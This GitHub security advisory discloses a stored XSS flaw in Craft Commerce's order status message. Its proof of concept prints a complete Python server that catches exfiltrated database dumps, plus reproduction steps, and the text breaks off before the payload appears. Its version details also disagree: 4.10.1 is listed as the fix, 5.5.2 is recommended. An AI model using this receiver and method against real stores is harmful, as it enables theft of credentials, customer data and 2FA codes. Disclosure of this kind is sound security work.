GitHub Security Advisory: GHSA-8478-rmjg-mjj5
Package: craftcms/commerce (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 4.0.0-RC1, <= 4.10.0
Patched in: 4.10.1

Summary: Craft Commerce has Stored XSS via Order Status Message with potential database exfiltration

Details:
## Summary

A stored XSS vulnerability exists in Craft Commerce’s Order Status History Message. The message is rendered using the `|md` filter, which permits raw HTML, enabling malicious script execution. If a user has database backup utility permissions (which do not require an elevated session), an attacker can exfiltrate the entire database, including all user credentials, customer PII, order history, and 2FA recovery codes.

Users are recommended to update to the patched 5.5.2 release to mitigate the issue.

---
## Proof of Concept

### Required Permissions

- General
	- Access the control panel
	- Access Craft Commerce
	- Access to the database backup utility
- Craft Commerce
	- Manage orders
	- Edit orders

### Attacker Server Setup

To reproduce this attack, you need a server to receive the exfiltrated database.
1. Save the Python script as `receiver.py` on your attacker machine.
2. Run it: `python3 receiver.py` -- Change the port if needed.

<details>

<summary>Server Python Script</summary>

```python
#!/usr/bin/env python3
"""
Usage: python3 receiver.py
"""

from http.server import HTTPServer, BaseHTTPRequestHandler
import cgi, os
from datetime import datetime

class Handler(BaseHTTPRequestHandler):
    def do_OPTIONS(self):
        self.send_response(200)
        self.send_header('Access-Control-Allow-Origin', '*')
        self.send_header('Access-Control-Allow-Methods', 'POST')
        self.end_headers()

    def do_POST(self):
        self.send_response(200)
        self.send_header('Access-Control-Allow-Origin', '*')
        self.end_headers()
        
        content_type = self.headers.get('Content-Type', '')
        if 'multipart/form-data' in content_type:
            form = cgi.FieldStorage(
                fp=self.rfile, headers=self.headers,
                environ={'REQUEST_METHOD': 'POST', 'CONTENT_TYPE': content_type}
            )
            if 'db' in form:
                filename = f"exfil_{datetime.now().strftime('%Y%m%d_%H%M%S')}.sql.zip"
                with open(filename, 'wb') as f:
                    f.write(form['db'].file.read())
                print(f"[+] DB saved: {filename} ({os.path.getsize(filename):,} bytes)")
        
        self.wfile.write(b"OK")

if __name__ == '__main__':
    print("[*] Listening on http://0.0.0.0:8888")   # change the port if needed
    HTTPServer(('0.0.0.0', 8888), Handler).serve_forever()
```

</details>

### Steps to Reproduce

1. Log in to the admin panel
2. Navigate to **Commerce** → **Orders**
3. Create a new order, enter a customer email, and mark the order as completed. The Order should be saved now; if not, save it.
4. Edit the order
5. Change the order status, a new text field (Status Message) will appear once the status is changed
    - Make sure you have multiple order statuses; if not, create one from (/admin/commerce/settings/orderstatuses)
6. In the **Status Message** field, enter the XSS payload below
7. Save/Update the order
8. Log out & log in again with an adm